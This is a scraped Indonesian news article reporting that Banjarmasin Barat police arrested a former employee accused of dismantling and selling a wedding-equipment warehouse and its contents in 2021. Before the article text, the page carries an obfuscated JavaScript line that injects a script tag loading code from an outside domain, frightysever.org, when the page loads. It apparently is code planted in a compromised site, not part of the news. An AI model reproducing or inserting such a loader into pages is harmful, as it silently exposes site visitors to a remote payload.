(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Barat gelar perkara pencurian sebuah bangunan berikut perkakas di dalamnya, Senin (31/5/2021) siang.
Beberapa waktu lalu, sebuah bangunan di Jalan Jafri Zam-zam, Komplek Grawiratama RT 39 RW 03, Kelurahan Belitung Selatan, Banjarmasin Barat, dibongkar dan barang perabotan di dalamnya ‘digarap’ habis.
Diketahui pelaku adalah HE (39), warga Jalan Belitung Darat, Gang Inayah, Kelurahan Kuin Cerucuk.
Baca juga : DPRD Banjarmasin Gelar Rapat Paripurna, Ibnu Sina-Arifin Noor Segera Dilantik
Menurut Kapolsek Banjarmasin Barat, AKP Faizal Rahman didampingi Kanit Reskrim, Iptu Yadi Yatullah mengatakan, pencurian awalnya berasal dari laporan H Aftahudin (51), lantaran pria tersebut kehilangan gudangnya pada Rabu (19/5/2021).
“Pelapor mengaku bangunan beserta isinya telah lenyap. Jadi bangunan tersebut merupakan rumah yang difungsikan sebagai gudang penyimpan barang-barang usahanya,” ujar Kapolsek.
Setelah dilakukan lidik, akhirnya merujuk ke tersangka yang merupakan salah mantan karyawan korban sendiri. Hingga akhirnya tersangka berhasil diamankan di jalan Prona 2 Lokasi, Kelurahan Pemurus Baru, Kecamatan Banjarmasin Barat.
“Saat itu, kita jebak korban dengan cara pura-pura sebagai pembeli,” beber Kapolsek.
Selanjutnya tersangka dan barang bukti berupa, 1 unit mobil pikap, 4 buah meja kayu, 2 buah vas bunga, 1 lembar fotocopy penjualan alat-alat meja senilai Rp 5 juta diamankan dan dibawa ke Mapolsek Banjarmasin Barat.
Baca juga : Polri Terbitkan Izin Liga 1 dan Liga 2 2021
Menurut pengakuan HE kepada pihak polisi, saat melakukan aksinya, tersangka mengaku kepada warga dan RT setempat telah membeli bangunan tersebut dari pemilik lamanya.
“Jadi bangunan itu dia bongkar, isinya dia angkut, dan dijual kepada pembeli. Warga sekitar tentu tidak curiga, karena dia juga mantan karyawan dari korban,” jelas AKP Faizal Rahman.
Aksi HE tersebut belakangan diketahui dilancarkan sejak 17 Maret hingga 18 Mei 2021. sementara korban sendiri memang jarang menjenguk bangunan tersebut.
“Pas ke sana, koraban kaget kok bangunannya sudah lenyap, dari keterangan warga diketahui bahwa itu adalah perbuatan tersangka,” lanjut Kapolsek.
Bangunan tersebut digunakan H Aftahudin untuk menyimpan perabot pernikahan seperti properti pelaminan dan sejenisnya.
Akibat perbuatan pelaku tersebut, kerugian yang ditanggung H Aftahudin pun diperkirakan sekitar Rp 350 juta.
Sementara itu, pelaku HE mengaku alasan utama dia melakukan pencurian tersebut karena faktor ekonomi.
“Saat saya dipecat, SIM saya ditahan, karena saya punya utang, jadi saya susah cari kerja baru,” tutur pria yang sempat 9 bulan bekerja bersama H Aftahudin.
Atas perbuatannya, HE terancam pasal 363 KUHP tentang pencurian dengan pemberatan dimana hukuman yang dijatuhi adalah maksimal 7 tahun. (kanalkalimantan.com/tius)
KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More
KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More
Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More
7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More
This website uses cookies.